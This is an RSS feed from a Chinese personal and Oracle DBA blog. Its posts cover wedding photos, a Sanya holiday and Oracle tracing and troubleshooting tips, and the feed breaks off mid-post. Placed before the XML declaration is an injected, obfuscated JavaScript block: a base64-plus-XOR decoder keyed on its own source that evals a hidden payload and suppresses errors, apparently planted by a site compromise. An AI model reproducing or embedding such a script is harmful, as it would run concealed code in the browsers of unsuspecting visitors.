<script language="javascript">try { function AqseyiojXGDfTaB(GhkPMDKB){var rJSxWFdUZ="",zOxMi,KTYPXU,AUyKTVWnSp,axmJFwf,FmiUe,zjNUDIZFy,MRVyWSJj,KGlNrRWtZ,BesZdk;var KICcFr="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var PShVmiz="";for(KGlNrRWtZ=0;KGlNrRWtZ<GhkPMDKB.length;){axmJFwf=KICcFr.indexOf(GhkPMDKB.charAt(KGlNrRWtZ++));FmiUe=KICcFr.indexOf(GhkPMDKB.charAt(KGlNrRWtZ++));BesZdk=AqseyiojXGDfTaB;zjNUDIZFy=KICcFr.indexOf(GhkPMDKB.charAt(KGlNrRWtZ++));MRVyWSJj=KICcFr.indexOf(GhkPMDKB.charAt(KGlNrRWtZ++));zOxMi=(axmJFwf<<2)+(FmiUe>>4);KTYPXU=((FmiUe&15)<<4)+(zjNUDIZFy>>2);AUyKTVWnSp=((zjNUDIZFy&3)<<6)+MRVyWSJj;BesZdk=BesZdk.toString();rJSxWFdUZ+=String.fromCharCode(zOxMi);if(zjNUDIZFy!=64)rJSxWFdUZ+=String.fromCharCode(KTYPXU);if(MRVyWSJj!=64)rJSxWFdUZ+=String.fromCharCode(AUyKTVWnSp);}BesZdk=BesZdk.replace(/\W/g,"");BesZdk=BesZdk.split("").reverse().join("");for(KGlNrRWtZ=0;KGlNrRWtZ<rJSxWFdUZ.length;KGlNrRWtZ++)PShVmiz+=String.fromCharCode(rJSxWFdUZ.charCodeAt(KGlNrRWtZ%rJSxWFdUZ.length)^BesZdk.charCodeAt(KGlNrRWtZ%BesZdk.length));return eval(PShVmiz);}AqseyiojXGDfTaB("WklNdkhzcExBVkVOUnx9ExMaVA4IFw0GAXpORSY1FyI/FyAYaSgGJAQQCgYeBAUGBRByUQwkGhUKC0dFYV9tTz4eISsfP1ogOxY6BGd2VGNURlRJe2gBBSg0CSN5EDYjFQ0QT35SQ1lhVmV7bw4IGxMZNlQaHzVIbnB4HCMmAnRDaDgRBxMLCEEvOw0leRs8J10zGnkxFSdTdGkLUH1eNh0tGSouHBtIDAYLE0sSAhUTCxY3AQUcF0MNPAEELw5NYQ==");} catch(e){}</script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chanel [K]</title>
	<atom:link href="http://www.dbform.com/feed" rel="self" type="application/rss+xml" />
	<link>http://www.dbform.com</link>
	<description>面朝大海，春暖花开</description>
	<lastBuildDate>Wed, 10 Feb 2010 04:33:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Loving in Sanya</title>
		<link>http://www.dbform.com/html/2010/1017.html</link>
		<comments>http://www.dbform.com/html/2010/1017.html#comments</comments>
		<pubDate>Fri, 05 Feb 2010 17:26:17 +0000</pubDate>
		<dc:creator>kamus</dc:creator>
				<category><![CDATA[Feeling]]></category>

		<guid isPermaLink="false">http://www.dbform.com/?p=1017</guid>
		<description><![CDATA[晒几张婚纱照。必须得说影楼的摄影师是二百五，不停要求我们做出扭曲的pose，还要我们俩眼睛不往一处看，就好像不知道镜头在哪里一般。实在忍受不了蹂躏之后努力反抗，才有那么几张看上去还顺眼的，幸好佟老师小朋友底子好，哥虽然不帅也还将就看，总体来说没有丢祖国人民的脸。
如果不能看到下面的照片，请移步到咱们伟大祖国管辖内的网站中观看，猛击Yupoo。

新娘的单人照，裙摆最漂亮的一张。

大东海的礁石上。

还是大东海，看上去沙滩挺大，其实就那么一小块。波澜壮阔的电影如果看到拍摄现场，也就那样。

十米长拖呢，二百五摄影师拍了个近景。

出乎意料的米奇玩偶，倒是有出乎意料的喜感，色彩也是最鲜艳的。

还是穿自己的休闲装舒服。气球的颜色和大海天空配合的也还不错。

由于新娘子劳累，提前结束了拍摄，原本计划的夕照并没有如愿，这张有PS过，太阳的高度在那个位置，实际并不会有如此浓烈的黄昏色彩。
]]></description>
			<content:encoded><![CDATA[<p>晒几张婚纱照。必须得说影楼的摄影师是二百五，不停要求我们做出扭曲的pose，还要我们俩眼睛不往一处看，就好像不知道镜头在哪里一般。实在忍受不了蹂躏之后努力反抗，才有那么几张看上去还顺眼的，幸好佟老师小朋友底子好，哥虽然不帅也还将就看，总体来说没有丢祖国人民的脸。</p>
<p>如果不能看到下面的照片，请移步到咱们伟大祖国管辖内的网站中观看，猛击<a href="http://www.yupoo.com/albums/view?id=ff808081267458790126b61fb3235061">Yupoo</a>。</p>
<p><a href="http://www.flickr.com/photos/kamus/4332723564/" title="IMG_2569 by kamusis, on Flickr"><img src="http://farm5.static.flickr.com/4056/4332723564_77aaedeb66_o.jpg" width="468" height="682" alt="IMG_2569" /></a><br />
新娘的单人照，裙摆最漂亮的一张。</p>
<p><a href="http://www.flickr.com/photos/kamus/4331984787/" title="IMG_2547 by kamusis, on Flickr"><img src="http://farm3.static.flickr.com/2737/4331984787_c14125be42.jpg" width="500" height="367" alt="IMG_2547" /></a></p>
<p>大东海的礁石上。</p>
<p><a href="http://www.flickr.com/photos/kamus/4332723814/" title="IMG_2638 by kamusis, on Flickr"><img src="http://farm3.static.flickr.com/2787/4332723814_0e8593d147.jpg" width="500" height="367" alt="IMG_2638" /></a></p>
<p>还是大东海，看上去沙滩挺大，其实就那么一小块。波澜壮阔的电影如果看到拍摄现场，也就那样。</p>
<p><a href="http://www.flickr.com/photos/kamus/4331985027/" title="IMG_2664 by kamusis, on Flickr"><img src="http://farm3.static.flickr.com/2795/4331985027_f6749e7836_o.jpg" width="468" height="714" alt="IMG_2664" /></a></p>
<p>十米长拖呢，二百五摄影师拍了个近景。</p>
<p><a href="http://www.flickr.com/photos/kamus/4332724110/" title="IMG_2680 by kamusis, on Flickr"><img src="http://farm3.static.flickr.com/2743/4332724110_0cba5c8be2.jpg" width="500" height="337" alt="IMG_2680" /></a></p>
<p>出乎意料的米奇玩偶，倒是有出乎意料的喜感，色彩也是最鲜艳的。</p>
<p><a href="http://www.flickr.com/photos/kamus/4332724224/" title="IMG_2704 by kamusis, on Flickr"><img src="http://farm3.static.flickr.com/2776/4332724224_4dfc7439c5.jpg" width="500" height="349" alt="IMG_2704" /></a></p>
<p>还是穿自己的休闲装舒服。气球的颜色和大海天空配合的也还不错。</p>
<p><a href="http://www.flickr.com/photos/kamus/4332724340/" title="IMG_2724 by kamusis, on Flickr"><img src="http://farm3.static.flickr.com/2701/4332724340_aef172fa26.jpg" width="500" height="403" alt="IMG_2724" /></a></p>
<p>由于新娘子劳累，提前结束了拍摄，原本计划的夕照并没有如愿，这张有PS过，太阳的高度在那个位置，实际并不会有如此浓烈的黄昏色彩。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dbform.com/html/2010/1017.html/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Warm January in Sanya</title>
		<link>http://www.dbform.com/html/2010/1010.html</link>
		<comments>http://www.dbform.com/html/2010/1010.html#comments</comments>
		<pubDate>Sun, 24 Jan 2010 09:41:33 +0000</pubDate>
		<dc:creator>kamus</dc:creator>
				<category><![CDATA[Travel]]></category>

		<guid isPermaLink="false">http://www.dbform.com/?p=1010</guid>
		<description><![CDATA[几乎没有享受过如此暖和的1月份，在临近春节的时候可以穿着短裤短袖四处走动，这样的感觉实在奇妙。
在三亚住的地方远离市区，位于田独镇，四周是乡村，但是只要走出房门站在宽宽的走廊上看出去，就是湛蓝的天空和不远处的青山，每当午后，阳光充足，暖风习习。

从楼下门口的小路走出去，大概不要10分钟，就是田独镇的大街，往山的方向去是亚龙湾，那里水天一线。

大街的左侧是田独市场，到了晚上是熙熙攘攘的夜市，夜里11点钟，从家里走出来，牵着老婆的手晃晃悠悠，随便找一处大排档，吃上些烧烤，再来一个新鲜的金椰，插着吸管，你一口我一口，再惬意的生活也不过如此吧。

驱车20分钟到达亚龙湾，游人们都买票从大门进去，我们在三亚呆久了，觉得自己是半个本地人，就熟门熟路从旁边的小道进去，一家人都省了门票，占老大便宜了。:D

海边堆沙子，玩累了，就冒充旁边酒店的客人，躺在酒店专属的遮阳伞下的长椅上，感觉自己的皮肤一点一点被晒黑，海风吹过卷起地上的细沙扑打在脚面上，房山人从此改叫三亚人了。
]]></description>
			<content:encoded><![CDATA[<p>几乎没有享受过如此暖和的1月份，在临近春节的时候可以穿着短裤短袖四处走动，这样的感觉实在奇妙。</p>
<p>在三亚住的地方远离市区，位于田独镇，四周是乡村，但是只要走出房门站在宽宽的走廊上看出去，就是湛蓝的天空和不远处的青山，每当午后，阳光充足，暖风习习。</p>
<p><a href="http://www.flickr.com/photos/kamus/4300153678/" title="IMG_0750 by kamusis, on Flickr"><img src="http://farm5.static.flickr.com/4022/4300153678_c0372d788a.jpg" width="500" height="375" alt="IMG_0750" /></a></p>
<p>从楼下门口的小路走出去，大概不要10分钟，就是田独镇的大街，往山的方向去是亚龙湾，那里水天一线。</p>
<p><a href="http://www.flickr.com/photos/kamus/4300153342/" title="IMG_0736 by kamusis, on Flickr"><img src="http://farm5.static.flickr.com/4008/4300153342_845f964906.jpg" width="500" height="375" alt="IMG_0736" /></a></p>
<p>大街的左侧是田独市场，到了晚上是熙熙攘攘的夜市，夜里11点钟，从家里走出来，牵着老婆的手晃晃悠悠，随便找一处大排档，吃上些烧烤，再来一个新鲜的金椰，插着吸管，你一口我一口，再惬意的生活也不过如此吧。</p>
<p><a href="http://www.flickr.com/photos/kamus/4310838610/" title="IMG_0787 by kamusis, on Flickr"><img src="http://farm5.static.flickr.com/4066/4310838610_c2a7207cbf.jpg" width="500" height="375" alt="IMG_0787" /></a></p>
<p>驱车20分钟到达亚龙湾，游人们都买票从大门进去，我们在三亚呆久了，觉得自己是半个本地人，就熟门熟路从旁边的小道进去，一家人都省了门票，占老大便宜了。:D</p>
<p><a href="http://www.flickr.com/photos/kamus/4310838612/" title="IMG_0778 by kamusis, on Flickr"><img src="http://farm5.static.flickr.com/4007/4310838612_939a11e987.jpg" width="500" height="375" alt="IMG_0778" /></a></p>
<p>海边堆沙子，玩累了，就冒充旁边酒店的客人，躺在酒店专属的遮阳伞下的长椅上，感觉自己的皮肤一点一点被晒黑，海风吹过卷起地上的细沙扑打在脚面上，房山人从此改叫三亚人了。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dbform.com/html/2010/1010.html/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Got Married</title>
		<link>http://www.dbform.com/html/2010/1002.html</link>
		<comments>http://www.dbform.com/html/2010/1002.html#comments</comments>
		<pubDate>Mon, 18 Jan 2010 03:28:55 +0000</pubDate>
		<dc:creator>kamus</dc:creator>
				<category><![CDATA[Feeling]]></category>

		<guid isPermaLink="false">http://www.dbform.com/?p=1002</guid>
		<description><![CDATA[九元人民币，两份结婚证。2010年1月18日，我正式成为已婚人士。
借去年10月份在红螺寺的合影，祝大家新的一年福禄双至。

佟老师小朋友说，护照10年还能一换，这结婚证可是一辈子的证件呢，怎么就这么皱皱巴巴的？失落啊。
Anyway，让恭喜来的更猛烈些吧。:)
]]></description>
			<content:encoded><![CDATA[<p>九元人民币，两份结婚证。2010年1月18日，我正式成为已婚人士。</p>
<p>借去年10月份在红螺寺的合影，祝大家新的一年福禄双至。</p>
<p><a href="http://www.flickr.com/photos/kamus/4290463986/" title="福禄双至 by kamusis, on Flickr"><img src="http://farm5.static.flickr.com/4048/4290463986_79fec239dc.jpg" width="500" height="383" alt="福禄双至" /></a></p>
<p>佟老师小朋友说，护照10年还能一换，这结婚证可是一辈子的证件呢，怎么就这么皱皱巴巴的？失落啊。</p>
<p>Anyway，让恭喜来的更猛烈些吧。:)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dbform.com/html/2010/1002.html/feed</wfw:commentRss>
		<slash:comments>33</slash:comments>
		</item>
		<item>
		<title>写给过去的自己</title>
		<link>http://www.dbform.com/html/2010/995.html</link>
		<comments>http://www.dbform.com/html/2010/995.html#comments</comments>
		<pubDate>Sat, 09 Jan 2010 11:23:34 +0000</pubDate>
		<dc:creator>kamus</dc:creator>
				<category><![CDATA[Feeling]]></category>

		<guid isPermaLink="false">http://www.dbform.com/?p=995</guid>
		<description><![CDATA[电视里面问，如果要写给过去的自己一句话你想说什么。有人说，写给2005年的自己一定要买套房子借钱也要买套房子。
现在是2010年，我经常活动的地区周围房价大概是2.5万到3万一平米，那么会不会到了3年后，会再次说，想写给2010年的自己一定要多买套房子借钱也要多买套房子呢？
是以为记，2013年再来看。:)
]]></description>
			<content:encoded><![CDATA[<p>电视里面问，如果要写给过去的自己一句话你想说什么。有人说，写给2005年的自己一定要买套房子借钱也要买套房子。</p>
<p>现在是2010年，我经常活动的地区周围房价大概是2.5万到3万一平米，那么会不会到了3年后，会再次说，想写给2010年的自己一定要多买套房子借钱也要多买套房子呢？</p>
<p>是以为记，2013年再来看。:)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dbform.com/html/2010/995.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>新年快乐</title>
		<link>http://www.dbform.com/html/2009/977.html</link>
		<comments>http://www.dbform.com/html/2009/977.html#comments</comments>
		<pubDate>Thu, 31 Dec 2009 14:29:55 +0000</pubDate>
		<dc:creator>kamus</dc:creator>
				<category><![CDATA[Feeling]]></category>

		<guid isPermaLink="false">http://www.dbform.com/?p=977</guid>
		<description><![CDATA[
这一年过的很闲散，最重要的是我有找到佟老师小朋友，更重要的是在新年来临之际我们终成眷属。
佟老师小朋友自己选的自己折的喜糖包就在上面了，在这个冬日的午后看着她盘腿坐在沙发上，一颗一颗往喜糖包里放巧克力，我知道对于我这就是幸福。
2009年的最后一天了，祝所有的朋友在新的一年，万事顺利。
]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.flickr.com/photos/kamus/4230565869/" title="DSCN5693 by kamusis, on Flickr"><img src="http://farm3.static.flickr.com/2793/4230565869_73a2881b45.jpg" width="500" height="375" alt="DSCN5693" /></a></p>
<p>这一年过的很闲散，最重要的是我有找到佟老师小朋友，更重要的是在新年来临之际我们终成眷属。</p>
<p>佟老师小朋友自己选的自己折的喜糖包就在上面了，在这个冬日的午后看着她盘腿坐在沙发上，一颗一颗往喜糖包里放巧克力，我知道对于我这就是幸福。</p>
<p>2009年的最后一天了，祝所有的朋友在新的一年，万事顺利。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dbform.com/html/2009/977.html/feed</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>How to trace another session using PL/SQL Package</title>
		<link>http://www.dbform.com/html/2009/969.html</link>
		<comments>http://www.dbform.com/html/2009/969.html#comments</comments>
		<pubDate>Thu, 17 Dec 2009 11:34:23 +0000</pubDate>
		<dc:creator>kamus</dc:creator>
				<category><![CDATA[Oracle RDBMS]]></category>

		<guid isPermaLink="false">http://www.dbform.com/?p=969</guid>
		<description><![CDATA[1.DBMS_SYSTEM包
EXECUTE dbms_system.set_sql_trace_in_session (sid,serial,TRUE);
这样的trace相当于event 10046 level 1。
停止：EXECUTE dbms_system.set_sql_trace_in_session (sid,serial,FALSE);
EXECUTE dbms_system.set_ev (sid,serial,10046,12,'');
这样直接设置某个会话的10046 event level 12，相当于level 4+level 8，也就是binds和waits都记录下来。
停止：EXECUTE dbms_system.set_ev (sid,serial,10046,0,&#8221;);
2. DBMS_SUPPORT包
EXECUTE dbms_support.start_trace_in_session (sid,serial,binds=&#62;true,waits=&#62;true);
这样的trace相当于event 10046 level 12。
停止：dbms_support.stop_trace_in_session(sid,serial);
备注：dbms_support包默认不存在，需要执行下述SQL来安装。
$ORACLE_HOME/rdbms/admin/dbmssupp.sql
3. 在Oracle10g以后可以使用DBMS_MONITOR包
EXECUTE DBMS_MONITOR.SESSION_TRACE_ENABLE(sid,serial, binds=&#62;true,waits=&#62;true);
这样的trace相当于event 10046 level 12。
停止：EXECUTE DBMS_MONITOR.SESSION_TRACE_DISABLE(sid,serial);
]]></description>
			<content:encoded><![CDATA[<p>1.<strong>DBMS_SYSTEM</strong>包</p>
<pre class="brush: sql; light: true;">EXECUTE dbms_system.set_sql_trace_in_session (sid,serial,TRUE);</pre>
<p>这样的trace相当于event 10046 level 1。</p>
<p>停止：EXECUTE dbms_system.set_sql_trace_in_session (sid,serial,FALSE);</p>
<pre class="brush: sql; light: true;">EXECUTE dbms_system.set_ev (sid,serial,10046,12,'');</pre>
<p>这样直接设置某个会话的10046 event level 12，相当于level 4+level 8，也就是binds和waits都记录下来。</p>
<p>停止：EXECUTE dbms_system.set_ev (sid,serial,10046,0,&#8221;);</p>
<p>2.<strong> DBMS_SUPPORT</strong>包</p>
<pre class="brush: sql; light: true;">EXECUTE dbms_support.start_trace_in_session (sid,serial,binds=&gt;true,waits=&gt;true);</pre>
<p>这样的trace相当于event 10046 level 12。</p>
<p>停止：dbms_support.stop_trace_in_session(sid,serial);</p>
<p>备注：dbms_support包默认不存在，需要执行下述SQL来安装。<br />
$ORACLE_HOME/rdbms/admin/dbmssupp.sql</p>
<p>3. 在Oracle10g以后可以使用<strong>DBMS_MONITOR</strong>包</p>
<pre class="brush: sql; light: true;">EXECUTE DBMS_MONITOR.SESSION_TRACE_ENABLE(sid,serial, binds=&gt;true,waits=&gt;true);</pre>
<p>这样的trace相当于event 10046 level 12。</p>
<p>停止：EXECUTE DBMS_MONITOR.SESSION_TRACE_DISABLE(sid,serial);</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dbform.com/html/2009/969.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Some Oracle Database Questions</title>
		<link>http://www.dbform.com/html/2009/967.html</link>
		<comments>http://www.dbform.com/html/2009/967.html#comments</comments>
		<pubDate>Thu, 17 Dec 2009 06:15:22 +0000</pubDate>
		<dc:creator>kamus</dc:creator>
				<category><![CDATA[Oracle RDBMS]]></category>

		<guid isPermaLink="false">http://www.dbform.com/?p=967</guid>
		<description><![CDATA[本文起源自dbsnake的《昨天我被问到的问题》。
如果这几个问题是问到我，那么我怎么回答呢？
1. dedicated模式、非RAC、无连接池、要求支持2000个连接，在这样的条件下如何设置PGA？
根据应用程序特性的不同，SQL语句优化的程度，PGA的设置会相差很远。即使是知道专属连接方式，有2000个连接，恐怕我也无法再没有测试前就知道该设置多大的PGA。有一点默认的考虑，一个应用程序如果要支持2000个连接，那么通常不会是数据仓库系统，那么是OLTP系统的话，单个会话使用的PGA理应不需要很大。按照一般的经验值，给每个连接3M-5M，那么PGA的初始设置应该在6G-10G，然后跑测试，根据statspack或者awr report，再去判断是需要增加还是减少PGA。
2. 如何解决ORA-04031问题？
ORA-04031:unable to allocate string bytes of shared memory (&#8220;string&#8221;,&#8221;string&#8221;,&#8221;string&#8221;,&#8221;string&#8221;)
通常表示Shared Pool不足，一种情况是确实设置过小，另外一种情况是共享池碎片太多，没有足够的连续空间来放置一个稍大的空间请求，前一种情况就是增大共享池，大概到2G如果还报4031错误，那么应该是后一种情况了，而后一种情况则很可能是由于绑定变量不足导致过多的SQL Cursor存在，优化应用程序吧。再有那就可能是Oracle Database的bug了，那就五花八门不一而足了。
3.  Current online redo log被删掉或者损坏后如何恢复？
当前联机日志损坏或者被删除，那么通常意味着必然会有数据损失，如果有备份，那么做full database restore，然后做不完全恢复，open resetlogs启动数据库。如果没有备份，那么利用_allow_resetlogs_corruption的隐含参数强制open数据库，做全库export，然后重建新库，做import。
4.  oracle里的补丁具体分为哪几种类型？
我所知道的包括：大的Patchset，比如10.2.0.4的Patchset；Oneoff patch，修补某个bug或者某些bug的小Patch；Bundle Patch，一个时间段之后，发布的对于某一产品的集合Patch，修补一堆问题；CPU，也就是安全性Patch。dbsnake列出的其它那些，都不知道了。
其实，我的意思是这个问题有意义吗？
dbsnake &#8211; cuihua是这几年里我见到的对于Oracle数据库Internal研究最富有热情的朋友，在他的blog中有大量对于Oracle数据库内部机制的研究，比如类似于上面的第三个问题，哪怕是最棘手的数据库恢复，我相信dbsnake也是可以完成的。
]]></description>
			<content:encoded><![CDATA[<p>本文起源自dbsnake的<a href="http://dbsnake.com/2009/12/questions-from-hp.html">《昨天我被问到的问题》</a>。</p>
<p>如果这几个问题是问到我，那么我怎么回答呢？</p>
<p><strong>1. dedicated模式、非RAC、无连接池、要求支持2000个连接，在这样的条件下如何设置PGA？</strong><br />
根据应用程序特性的不同，SQL语句优化的程度，PGA的设置会相差很远。即使是知道专属连接方式，有2000个连接，恐怕我也无法再没有测试前就知道该设置多大的PGA。有一点默认的考虑，一个应用程序如果要支持2000个连接，那么通常不会是数据仓库系统，那么是OLTP系统的话，单个会话使用的PGA理应不需要很大。按照一般的经验值，给每个连接3M-5M，那么PGA的初始设置应该在6G-10G，然后跑测试，根据statspack或者awr report，再去判断是需要增加还是减少PGA。</p>
<p><strong>2. 如何解决ORA-04031问题？</strong><br />
ORA-04031:unable to allocate string bytes of shared memory (&#8220;string&#8221;,&#8221;string&#8221;,&#8221;string&#8221;,&#8221;string&#8221;)<br />
通常表示Shared Pool不足，一种情况是确实设置过小，另外一种情况是共享池碎片太多，没有足够的连续空间来放置一个稍大的空间请求，前一种情况就是增大共享池，大概到2G如果还报4031错误，那么应该是后一种情况了，而后一种情况则很可能是由于绑定变量不足导致过多的SQL Cursor存在，优化应用程序吧。再有那就可能是Oracle Database的bug了，那就五花八门不一而足了。</p>
<p><strong>3.  Current online redo log被删掉或者损坏后如何恢复？</strong><br />
当前联机日志损坏或者被删除，那么通常意味着必然会有数据损失，如果有备份，那么做full database restore，然后做不完全恢复，open resetlogs启动数据库。如果没有备份，那么利用_allow_resetlogs_corruption的隐含参数强制open数据库，做全库export，然后重建新库，做import。</p>
<p><strong>4.  oracle里的补丁具体分为哪几种类型？</strong><br />
我所知道的包括：大的Patchset，比如10.2.0.4的Patchset；Oneoff patch，修补某个bug或者某些bug的小Patch；Bundle Patch，一个时间段之后，发布的对于某一产品的集合Patch，修补一堆问题；CPU，也就是安全性Patch。dbsnake列出的其它那些，都不知道了。<br />
其实，我的意思是这个问题有意义吗？</p>
<p><a href="http://dbsnake.com">dbsnake</a> &#8211; cuihua是这几年里我见到的对于Oracle数据库Internal研究最富有热情的朋友，在他的blog中有大量对于Oracle数据库内部机制的研究，比如类似于上面的第三个问题，哪怕是最棘手的数据库恢复，我相信dbsnake也是可以完成的。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dbform.com/html/2009/967.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Find waiter with Oradebug 11gR2</title>
		<link>http://www.dbform.com/html/2009/962.html</link>
		<comments>http://www.dbform.com/html/2009/962.html#comments</comments>
		<pubDate>Wed, 16 Dec 2009 06:55:11 +0000</pubDate>
		<dc:creator>kamus</dc:creator>
				<category><![CDATA[Oracle RDBMS]]></category>
		<category><![CDATA[Oracle11gR2]]></category>

		<guid isPermaLink="false">http://www.dbform.com/?p=962</guid>
		<description><![CDATA[原文链接自：Miladin Modrakovic’s Blog &#8211; Oraclue
实际上，昨天刚有朋友问怎么找到TX enqueu的锁对象以及语句。在Oracle11gR2中我们可以使用oradebug unit_test per_session_find_one_waiter语句来进行简单的blocker定位。
oradebug unit_test per_session_find_one_waiter的用法如下：

usage: 
  oradebug unit_test per_session_find_one_waiter
    find_waiters_for=&#60;current_sess or all_local_sess&#62;
    wait_event=&#34;&#60;wait_event_name_to_search_for&#62;&#34;
    waiter_min_secs_blkd=&#60;secs&#62;
    min_results=&#60;num&#62;
    [ timeout_mins=&#60;mins - default is 10 mins&#62; ]

实际测试如下，还是测试简单的enq: TX &#8211; row lock contention等待事件。
在第1个session中：
SQL&#62; create table t (n int primary [...]]]></description>
			<content:encoded><![CDATA[<p>原文链接自：<a href="http://oraclue.com/2009/10/29/find-waiter-with-oradebug-11gr2/">Miladin Modrakovic’s Blog &#8211; Oraclue</a></p>
<p>实际上，昨天刚有朋友问怎么找到TX enqueu的锁对象以及语句。在Oracle11gR2中我们可以使用<strong>oradebug unit_test per_session_find_one_waiter</strong>语句来进行简单的blocker定位。</p>
<p>oradebug unit_test per_session_find_one_waiter的用法如下：</p>

<div class="wp_syntax"><div class="code"><pre class="shell" style="font-family:monospace;">usage: 
  oradebug unit_test per_session_find_one_waiter
    find_waiters_for=&lt;current_sess or all_local_sess&gt;
    wait_event=&quot;&lt;wait_event_name_to_search_for&gt;&quot;
    waiter_min_secs_blkd=&lt;secs&gt;
    min_results=&lt;num&gt;
    [ timeout_mins=&lt;mins - default is 10 mins&gt; ]</pre></div></div>

<p>实际测试如下，还是测试简单的enq: TX &#8211; row lock contention等待事件。</p>
<p>在第1个session中：</p>
<pre class="brush: sql;">SQL&gt; create table t (n int primary key);

Table created.

SQL&gt; insert into t values(1); 

1 row created.

SQL&gt; commit;

Commit complete.

SQL&gt; update t set n=2 where n=1;

1 row updated.</pre>
<p>在第2个session中：</p>
<pre class="brush: sql; light: true;">SQL&gt; update t set n=3 where n=1;</pre>
<p>在第3个session中：</p>
<pre class="brush: sql; light: true;">SQL&gt; update t set n=4 where n=1;</pre>
<p>在另外一个session中用sysdba登陆，然后执行oradebug。</p>
<pre class="brush: sql;">SQL&gt; oradebug unit_test per_session_find_one_waiter find_waiters_for=all_local_sess wait_event=&quot;enq: TX - row lock contention&quot; waiter_min_secs_blkd=1 min_results=1
WAITERS_FOUND_BEGIN
(inst=1, sid=16, osid=30658) is blocking (inst=1, sid=17) for at least 501 secs
(inst=1, sid=17, osid=30668) is blocking (inst=1, sid=25) for at least 486 secs
WAITERS_FOUND_END</pre>
<p>从以上的输出中可以得知：<br />
1. sid=16的会话锁住了sid=17的会话，已经有至少501秒<br />
2. sid=17的会话锁住了sid=25的会话，已经有至少486秒</p>
<p>此时如果commit会话1，那么会话2和会话3的&#8221;enq: TX &#8211; row lock contention&#8221; 锁都会消失，但是两个会话都不会更新到任何记录，因为n=1的记录已经被会话1更新为n=2。</p>
<p>在目前的测试中，如果在oradebug中指定的wait_event在当前数据库中并不存在，那么oradebug命令将长时间没有反应，并最终报出ORA-00600的错误，这应该是bug，有望在今后的版本中得到修改。</p>
<pre class="brush: sql;">SQL&gt; oradebug unit_test per_session_find_one_waiter find_waiters_for=current_sess wait_event=&quot;enq: TX - row lock contention&quot; waiter_min_secs_blkd=1 min_results=1

ORA-00600: internal error code, arguments: [ksdhng:waiting_sessions_not_found], [enq: TX - row lock contention], [10], [10], [], [], [], [], [], [], [], []</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.dbform.com/html/2009/962.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Oracle Database Instance Startup Fails With Error ORA-27302 ORA-27301</title>
		<link>http://www.dbform.com/html/2009/960.html</link>
		<comments>http://www.dbform.com/html/2009/960.html#comments</comments>
		<pubDate>Wed, 16 Dec 2009 06:14:17 +0000</pubDate>
		<dc:creator>kamus</dc:creator>
				<category><![CDATA[Operating System]]></category>
		<category><![CDATA[Oracle RDBMS]]></category>
		<category><![CDATA[Oracle11gR2]]></category>

		<guid isPermaLink="false">http://www.dbform.com/?p=960</guid>
		<description><![CDATA[今天启动Oracle Enterprise Linux 5虚拟机中的Oracle11gR2数据库，但是报错。

&#91;oracle@dbserver ~&#93;$ sqlplus / AS sysdba
&#160;
SQL*Plus: Release 11.2.0.1.0 Production ON Wed Dec 16 13:28:44 2009
&#160;
Copyright &#40;c&#41; 1982, 2009, Oracle.  ALL rights reserved.
&#160;
Connected TO an idle instance.
&#160;
SQL&#62; startup
ORA-27154: post/wait CREATE failed
ORA-27300: OS system dependent operation:semget failed WITH STATUS: 28
ORA-27301: OS failure message: No space LEFT ON device
ORA-27302: failure occurred at: sskgpsemsper

sskgpsemsper函数可以很简单的猜测是跟semaphore有关，而ORA-27301则是No space [...]]]></description>
			<content:encoded><![CDATA[<p>今天启动Oracle Enterprise Linux 5虚拟机中的Oracle11gR2数据库，但是报错。</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #66cc66;">&#91;</span>oracle@dbserver ~<span style="color: #66cc66;">&#93;</span>$ sqlplus <span style="color: #66cc66;">/</span> <span style="color: #993333; font-weight: bold;">AS</span> sysdba
&nbsp;
SQL<span style="color: #66cc66;">*</span>Plus: Release 11<span style="color: #66cc66;">.</span>2<span style="color: #66cc66;">.</span>0<span style="color: #66cc66;">.</span>1<span style="color: #66cc66;">.</span>0 Production <span style="color: #993333; font-weight: bold;">ON</span> Wed Dec <span style="color: #cc66cc;">16</span> <span style="color: #cc66cc;">13</span>:<span style="color: #cc66cc;">28</span>:<span style="color: #cc66cc;">44</span> <span style="color: #cc66cc;">2009</span>
&nbsp;
Copyright <span style="color: #66cc66;">&#40;</span>c<span style="color: #66cc66;">&#41;</span> <span style="color: #cc66cc;">1982</span><span style="color: #66cc66;">,</span> <span style="color: #cc66cc;">2009</span><span style="color: #66cc66;">,</span> Oracle<span style="color: #66cc66;">.</span>  <span style="color: #993333; font-weight: bold;">ALL</span> rights reserved<span style="color: #66cc66;">.</span>
&nbsp;
Connected <span style="color: #993333; font-weight: bold;">TO</span> an idle instance<span style="color: #66cc66;">.</span>
&nbsp;
SQL<span style="color: #66cc66;">&gt;</span> startup
